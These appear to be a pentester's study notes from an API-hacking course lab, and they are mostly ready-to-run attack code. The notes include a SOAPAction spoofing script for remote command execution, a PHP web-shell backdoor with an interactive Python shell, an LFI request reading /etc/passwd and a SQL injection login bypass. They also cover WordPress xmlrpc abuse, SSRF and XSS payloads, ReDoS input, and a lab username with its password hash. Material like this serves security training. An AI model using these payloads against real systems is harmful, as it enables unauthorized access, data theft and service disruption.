10. API
SOAPAction Spoofing
import requests
while True:
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
Payload deep drive
# given from version
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/">
# LoginRequest is given as s:element name.
<soap:Body><LoginRequest>
# Command cmd is coming from s:element name"ExecuteCommandRequest", but it doesn't allow external to internal traffic. So the script is using another operation.
xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
Payload for Skill Assessment
import requests
while True:
# username = "admin' or '1' = '1' -- -"
username = "kundrill0"
password = "5403b63f6e34ac7baf9b45b12ebcdef8"
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>{username}</username><password>{password}</password><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://10.129.202.133:3002/wsdl", data=payload, headers={"SOAPAction":'"Login"'}).content)
print(requests.post("http://10.129.202.133:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
Command Injection
Attack WordPress 'xmlrpc.php'
- Locate xmlrpc.php
- Search for available methods.
- exploit pingback.ping
- Pingback is a special type of comment that allows you to link to antoher blog post, as long as the other blog is set to accept pingbacks.
- https://wordpress.com/support/comments/pingbacks/
- With ping back Attacks can do
- IP Disclosure - An attacker can call the pingback.ping method on a WordPress instance behind Cloudflare to identify its public IP
- Cross-Site Port Attack (XSPA) - An attacker can call the pingback.ping method on a WordPress instance against itself (or other internal hosts) on different ports. Open ports or internal hosts can be identified by looking for response time differences or response differences.
- Distributed Denial of Service Attack (DDoS) - An attacker can call the pingback.ping method on numerous WordPress instances against a single target.
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://test.test.test/xmlrpc.php
curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://test.test.test/xmlrpc.php
Information Disclosure
- Check parameter
ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://test/?FUZZ=test
- Brute force
import requests
BASE_URL = "http://test/"
for i in range(1, 10001):
try:
response = requests.get(BASE_URL, params={'id': i})
response.raise_for_status() # Will raise an HTTPError if the HTTP request returned an unsuccessful status code
if response.text.strip(): # Check if the response is not empty
print(f"Result for id={i}: {response.text}")
except requests.RequestException:
pass # Do nothing for this id if there's an error
print("Finished sending requests.")
- sqlmap
SQLMAP
sqlmap -u "http://test/?id=1" -D database -T Table -C column
Arbitrary File Upload
- Identify vulnerable page that allows uploading files. I should have access to the uploaded file.
- Create a backdoor file
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
- Upload a file and check Content-Type header: application/x-php --> no protection in place.
- Generate a python shell to do interactive shell
import requests
BASE_URL = "http://127.0.0.1/home.php"
def send_command(cmd):
try:
response = requests.get(BASE_URL, params={'cmd': cmd})
response.raise_for_status()
return response.text.strip()
except requests.RequestException as e:
return f"Error: {e}"
def main():
print("[*] Interactive shell started. Type 'exit' to quit.")
while True:
try:
cmd = input("shell> ")
if cmd.strip() == "exit":
print("[*] Exiting interactive shell.")
break
result = send_command(cmd)
print(result)
except KeyboardInterrupt:
print("\n[*] Interactive shell interrupted. Exiting.")
break
if __name__ == "__main__":
main()
Local File Inclusion (LFI)
- Find API page.
- Fuzz for end-points
ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/common-api-endpoints-mazen160.txt" -u 'http://<TARGET IP>:3000/api/FUZZ'
- Execute LFI
curl "http://10.129.202.133:3000/api/download/%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
Cross-Site Scripting
- Find API page
- Execute url encoded XSS
%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Server-Side Request Forgery
echo "http://<VPN/TUN Adapter IP>:<LISTENER PORT>" | tr -d '\n' | base64
curl "http://<TARGET IP>:3000/api/userinfo?id=<BASE64 blob>"
Regular Expression Denial of Service (ReDoS)
Send regex value and delay the response.
Resources
-
Visualize the regex with the below.
https://regex101.com/
https://jex.im/regulex/ -
Send a malicious data
curl "http://<TARGET IP>:3000/api/check-email?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.55555555555555555555555555555555555555555555555555555555."